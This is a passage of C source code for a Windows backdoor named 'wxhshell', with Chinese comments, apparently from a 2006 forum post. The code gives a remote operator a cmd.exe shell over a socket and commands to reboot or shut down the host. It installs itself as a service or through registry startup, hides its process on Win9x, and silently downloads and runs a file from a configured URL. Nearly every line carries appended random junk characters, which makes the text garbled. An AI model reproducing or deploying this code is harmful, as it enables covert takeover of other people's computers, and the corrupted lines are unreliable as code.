  case '?': { HY4E  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); el?V2v[  
    break; =&pN8PEn\  
  } m@.{zW7bO  
  // 安装 <j\;>3Q  
  case 'i': { 4nH91Z9=  
    if(Install()) 5%+}rSn7  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8 tygs  
    else ms7 7{A3  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); kqW<e[  
    break; g>xUS_d>  
    } %hbLT{w  
  // 卸载 b8Rh|"J)d  
  case 'r': { *ZR@ z80i  
    if(Uninstall()) I'9s=~VfY,  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ig3(|{R  
    else RzRvu]]8  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 'ZH<g8:=@  
    break; +;*(a3Gp  
    } 6 2`PK+  
  // 显示 wxhshell 所在路径 r!$NZ2I  
  case 'p': { [A9 ,!YY  
    char svExeFile[MAX_PATH]; 46Q; F  
    strcpy(svExeFile,"\n\r"); 9G&l qfX:  
      strcat(svExeFile,ExeFile); :"P hkR  
        send(wsh,svExeFile,strlen(svExeFile),0); O)xEF~DaD  
    break; %HF$  
    } NhK(HTsvK  
  // 重启 .Spi$>v  
  case 'b': { <W51oO  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); _'hCUXeY'  
    if(Boot(REBOOT)) B~;LBgpp  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); W B*`zCM  
    else { 2Z`$  
    closesocket(wsh); !^l4EL5#  
    ExitThread(0); l?JO8^Nn  
    } 8<-oJs_o+  
    break; D d# SUQ  
    } TFC!u 0Y"$  
  // 关机 Q)6wkY+!  
  case 'd': { [ lzy &To  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ]tQDk4&i  
    if(Boot(SHUTDOWN)) *lerPY3 q  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); c,+(FQ9  
    else { P\X=*  
    closesocket(wsh); B!r48<p  
    ExitThread(0); cUZ!;*  
    } *mQDS.'AB@  
    break; 4ljvoJ}xjr  
    } *)NR$9lGv  
  // 获取shell <Sprp]n 7  
  case 's': { StyB"1y  
    CmdShell(wsh); Xrj(,|  
    closesocket(wsh); ,dZ H$  
    ExitThread(0); 2-6.r_  
    break; )"_Ff,9Z!  
  } -[f "r`  
  // 退出 b>bgUDq  
  case 'x': {  &6\r  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 3%[)!zKv  
    CloseIt(wsh); =MJ-s;raq  
    break; P^b:?%  
    } J\xz^%p  
  // 离开 5y(t`Fmt  
  case 'q': { )l!J$X+R  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); L,L ~ .E  
    closesocket(wsh); dThn?  
    WSACleanup(); #}/cM2m  
    exit(1); +Q SxYV  
    break; yhSk"e'G  
        } W( &Go'9e"  
  } 5U-p'c9IC  
  } ,#E3,bu6_4  
;!l*7}5X=  
  // 提示信息 DMAf^.,S  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); yN9$gfJC^  
} <}28=d  
  } vs\'1^*D  
@4 /~~  
  return; 'w`SBYQ5  
} 2 ?Pt Z  
c$,c`H(~  
// shell模块句柄 V17>j0Ev$W  
int CmdShell(SOCKET sock) <CZI7]PM7  
{ c!\.[2n  
STARTUPINFO si; CN\|_y  
ZeroMemory(&si,sizeof(si)); ,] ~u:Y}  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 22)0zY%\  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; r/mA2  
PROCESS_INFORMATION ProcessInfo; x[vpoB+c  
char cmdline[]="cmd"; z>cIiprX  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); F5FNhuC  
  return 0; wXr>p)mP  
} h]kn%?fpmB  
bK ?1MiXb  
// 自身启动模式 dV5PhP>6  
int StartFromService(void) c@RT$Q9j  
{ QuSV&>T\  
typedef struct >EBZ$X  
{ \@Ee9C 13  
  DWORD ExitStatus; Dh hG$  
  DWORD PebBaseAddress; %==G+S{  
  DWORD AffinityMask; +<S9E'gT3V  
  DWORD BasePriority; wVx,JL5Jr  
  ULONG UniqueProcessId; C-Nuy1o  
  ULONG InheritedFromUniqueProcessId; c:=7lI  
}   PROCESS_BASIC_INFORMATION; O!:QJ ^8 d  
E)C.eW /  
PROCNTQSIP NtQueryInformationProcess; EfFz7j&X  
%9t{Z1$  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; |w=Ec#)t4  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; rpUy$qrRc  
J6*f Uh  
  HANDLE             hProcess; dX_!0E[c  
  PROCESS_BASIC_INFORMATION pbi; IZO@V1-m  
ETM2p1 ru0  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); JDkCUN5  
  if(NULL == hInst ) return 0; t:\l&R&  
A/!<kp{S  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); p`d XqW  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); +C'XS{K,#  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); I`22Zwq:  
24/ /21m  
  if (!NtQueryInformationProcess) return 0; ITVQLQ  
8h@q  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); A'Gl Cp  
  if(!hProcess) return 0; |)9thIQF  
"\7v  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; E_~x==cb  
'0Lov]L  
  CloseHandle(hProcess);  #;`Oj  
a>U6Ag<  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); I6+2>CUGo  
if(hProcess==NULL) return 0; auRY|j  
"l TZ|k^  
HMODULE hMod; (qUK7$  
char procName[255]; Kv}k*A% S  
unsigned long cbNeeded; R\*)@[y9l  
O16r!6=-n  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ^00{Hd6  
(%bE~Q2P*<  
  CloseHandle(hProcess); s _~IZ%+<.  
JT04vm4  
if(strstr(procName,"services")) return 1; // 以服务启动 #,&8&  
\ZMP_UU(  
  return 0; // 注册表启动 E tx`K5Tr]  
} 1SUzzlRx  
Tr%FUi  
// 主模块 T^]7R4 Fg  
int StartWxhshell(LPSTR lpCmdLine) A d/($v5+  
{ \]8VwsP  
  SOCKET wsl; _8^0!,j  
BOOL val=TRUE; ]boE{R!I  
  int port=0; o&z!6"S<  
  struct sockaddr_in door; Me,<\rQ  
hU" F;4p  
  if(wscfg.ws_autoins) Install(); |c0,  
?ok)>P  
port=atoi(lpCmdLine); =WK04\H  
/;l[I=VI  
if(port<=0) port=wscfg.ws_port;  q>-R3HB  
2 z7}+lH  
  WSADATA data; WL U}  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; PNpu*# Z`  
z]=8eV\  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   zsVcXBz  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); u1^\MVO8  
  door.sin_family = AF_INET; b+{r! D}~  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); `\N]wlB2/b  
  door.sin_port = htons(port); 8eJE>g1J  
@?Zf-.  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ^=+e?F`:{  
closesocket(wsl); b7Oj<! Wo`  
return 1; ^m%52Tm h  
} {<K=*r rZ  
Yw)Fbt^  
  if(listen(wsl,2) == INVALID_SOCKET) { ?:igumeYX  
closesocket(wsl); '#D8*OP^  
return 1; ar$*a>'?  
} ()\jCNLT  
  Wxhshell(wsl); !9]d |8!  
  WSACleanup(); TH4\HY9qa?  
%;|0  
return 0; "^Rv#  
f~ZEdq8  
} $a(`ve|  
#jA)>z\Q^  
// 以NT服务方式启动 S6sq#kcH  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) y=Q!-~5|fF  
{ $1Z6\G O  
DWORD   status = 0; e2w&&B-  
  DWORD   specificError = 0xfffffff; u =J&~  
KX4],B5 +  
  serviceStatus.dwServiceType     = SERVICE_WIN32; =Op+v"  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; & mt)d  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 4W;S=#1  
  serviceStatus.dwWin32ExitCode     = 0; LFf`K)q  
  serviceStatus.dwServiceSpecificExitCode = 0; obo&1Uv,/  
  serviceStatus.dwCheckPoint       = 0; RMP9y$~3pU  
  serviceStatus.dwWaitHint       = 0; P^)q=A8Z#  
+Qj(B@ i  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); |+}G|hx@9  
  if (hServiceStatusHandle==0) return; 314=1JbL  
L0NA*C   
status = GetLastError(); 27A!\pn  
  if (status!=NO_ERROR) W Zn.;  
{ ?LP9iY${  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; X.FGBR7=q  
    serviceStatus.dwCheckPoint       = 0; 1^G{tlA-  
    serviceStatus.dwWaitHint       = 0; c#cx>wq9  
    serviceStatus.dwWin32ExitCode     = status;  L,LNv  
    serviceStatus.dwServiceSpecificExitCode = specificError; t ^SzqB  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); o:p *_>&  
    return; "r'ozf2 \  
  } se9>.}zZN  
'0Q,  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 3tAU?sV!  
  serviceStatus.dwCheckPoint       = 0; ej(ikj~j  
  serviceStatus.dwWaitHint       = 0; p $`92Be/  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ?cy4&]s  
} z-T{~{q  
#& ?g %'  
// 处理NT服务事件,比如:启动、停止 +.yT/y"  
VOID WINAPI NTServiceHandler(DWORD fdwControl) >I"V],d!6  
{ B.dT)@Lx0  
switch(fdwControl) j\&pej  
{ </`yd2>  
case SERVICE_CONTROL_STOP: cr;`Tl~}s  
  serviceStatus.dwWin32ExitCode = 0;  jN*:QI  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 0JjUAxNq  
  serviceStatus.dwCheckPoint   = 0; c1XX~8  
  serviceStatus.dwWaitHint     = 0; EnVuD 9  
  { MXtkP1A `  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); >SbK.Q@ei  
  } yd_ (?V&;_  
  return; /~p+j{0L3W  
case SERVICE_CONTROL_PAUSE: mN_Z7n;^eh  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; !ZXUPH  
  break;  |a^U]  
case SERVICE_CONTROL_CONTINUE: TFQ!7'xk)  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 9ooY?J  
  break; rf &M!d}!  
case SERVICE_CONTROL_INTERROGATE: |I;$M;'r&  
  break; Di.3113t  
}; ]; $] G-  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 5e8AmY8;  
} #U mF-c  
w8Sv*K  
// 标准应用程序主函数 c3%@Wj:fo  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 8 .>/6M  
{ i]{1^pKq  
k(VB+k"3  
// 获取操作系统版本  >w6taX  
OsIsNt=GetOsVer(); O`1!  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Q n)d2-<  
OWq'[T4  
  // 从命令行安装 y[};J vk  
  if(strpbrk(lpCmdLine,"iI")) Install(); _f0C Y"  
OHr Y(I6  
  // 下载执行文件 68fiG  
if(wscfg.ws_downexe) { l\0w;:N3  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) am1[9g8L  
  WinExec(wscfg.ws_filenam,SW_HIDE); Fh|#u:n  
} ^ <`(lyph  
g]~h(mI  
if(!OsIsNt) { @&F@I3`{  
// 如果时win9x,隐藏进程并且设置为注册表启动 75T_Dx(H  
HideProc(); ?tdd3ai>  
StartWxhshell(lpCmdLine); 38ES($  
} URgk^nt2p  
else IA zZ1#/3  
  if(StartFromService()) "^j>tii  
  // 以服务方式启动 ./vZe_o)j$  
  StartServiceCtrlDispatcher(DispatchTable); 3chPY4~A  
else [jdFA<Is  
  // 普通方式启动 lT&wOm3  
  StartWxhshell(lpCmdLine); %VJ85^B3  
p^kUs0$GS  
return 0; P;[OWSR[d  
}
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只看该作者 1 发表于: 2006-10-10
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